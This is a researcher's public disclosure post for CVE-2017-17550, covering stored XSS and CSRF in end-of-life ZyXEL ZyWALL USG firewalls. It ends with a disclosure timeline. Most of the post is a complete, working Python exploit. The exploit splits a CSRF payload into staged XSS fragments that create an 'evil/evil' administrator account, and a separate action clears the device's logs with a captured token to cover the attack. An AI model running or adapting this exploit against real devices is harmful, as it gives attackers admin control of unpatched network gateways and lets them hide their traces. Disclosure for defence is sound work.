CVE-2017-17550: ZyWALL USG - XSS & CSRF
More than one year ago I reported to ZyXEL a ZyWALL security vulnerability which bring to an Arbitrary Admin Creation.
Unfortunately ZyXEL said that ZyWALL USG 100,300 etc.. has reached end of life...so no updated firmware.
Today I want to share with you the full exploit.
Before the code, the affected pages:
1) XSS
Page: /
Method: POST
Parameter: username (require also loginTosslvpn=on)
Payload: "username=<img src=x onerror=alert(1)>"
Trigger on: /cgi-bin/zysh-cgi with POST parameter "cmd=show logging entries category all"
2) CSRF
Page: /cgi-bin/zysh-cgi
Method: POST or GET
Parameter: cmd
Payload: "cmd=username evil password evil user-type admin"
Exploit
import requests
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class WebExploit:
def __init__(self, url='https://192.168.1.1/', debug=False):
self.url = url
self.debug = debug
self.proxies = {}
if self.debug == True:
self.proxies = {
'http':'http://127.0.0.1:8080',
'https':'https://127.0.0.1:8080'
}
def exploit(self, username):
payload = {'username':username, 'loginTosslvpn': 'on'}
if self.proxies:
requests.post(self.url, data=payload, verify=False, proxies=self.proxies)
else:
requests.post(self.url, data=payload, verify=False)
return
def clearLog(self, token):
r = self.url + "cgi-bin/zysh-cgi"
data = {
'filter':'js2',
'cmd':'clear logging debug buffer',
'cmd':'clear logging system-log buffer'
}
cookies = dict(authtok=token)
if self.proxies:
requests.post(r, data=data, verify=False, proxies=self.proxies, cookies=cookies)
else:
requests.post(r, data=data, verify=False, cookies=cookies)
return
if __name__ == "__main__":
exploit_header = [
"ZyXEL ZyWALL USG Series 3.30(AQQ.7)",
"Staged Stored XSS and CSRF",
"Vendor Homepage: www.zyxel.com",
"-"*25,
"Author: Simone Cardona",
"Website: www.shellcode.it",
"CVE: CVE-2017-17550",
"Tested on ZyWALL USG 100"
]
for p in exploit_header:
print(p)
parser = argparse.ArgumentParser()
parser.add_argument('action', help='exploit || clearLog', default='exploit')
parser.add_argument('--url', help='Default https://192.168.1.1/', default='https://192.168.1.1/')
parser.add_argument('--debug', help='Enable proxy @ 127.0.0.1:8080; default=False', action="store_true")
parser.add_argument('--token', help='Specify authtok token', default='')
args = parser.parse_args()
if args.action == "exploit":
# CSRF for add evil:evil admin
payload = "<img src=/cgi-bin/zysh-cgi?js2=filter&cmd=username+evil+password+evil+user-type+admin >"
payload_len = len(payload)
size = 10
counter = range(int(payload_len/size))
result = []
print("nPayload:nn"+payload+"n")
print("Staged Payload: n")
### Let's build a staged payload ###
result.append("<img src=x onerror='/*")
for c in counter:
c = c * 10
if c == 0:
result.append("*/var s"+str(c)+"=""+payload[c:10]+"";/*")
else:
result.append("*/var s"+str(int(c/10))+"=""+payload[c:c+10]+"";/*")
if c != payload_len:
result.append("*/var s"+str(int(c/10+1))+"=""+payload[c+10:]+"";/*")
result.append("*/var f=s0+s1+s2;/*")
result.append("*/var p=s3+s4+s5;/*")
result.append("*/var b=s6+s7+s8;/*")
result.append("*/document.write(f+p+b);/*")
result.append("*/'>")
we = WebExploit(url=args.url, debug=args.debug)
### Let's inject the payload ###
for i in result[::-1]:
print(i)
we.exploit(i)
elif args.action == "clearLog":
if args.token == '':
print("[x] Error: you need to specify --token")
exit(1)
we = WebExploit(url=args.url, debug=args.debug)
we.clearLog(args.token)
Video
Disclosure Timeline
- 18/07/2017 - Vulnerability reported to Zyxel (about ZyWALL USG 2.12 AQQ.2)
- xx/xx/2017 - Vulnerability reported to Zyxel (about ZyWALL USG 3.30 AQQ.7 ) Since here no more information from Zyxel
- 12/12/2017 - Got CVE from MITRE
- 10/11/2018 - Publicly disclosed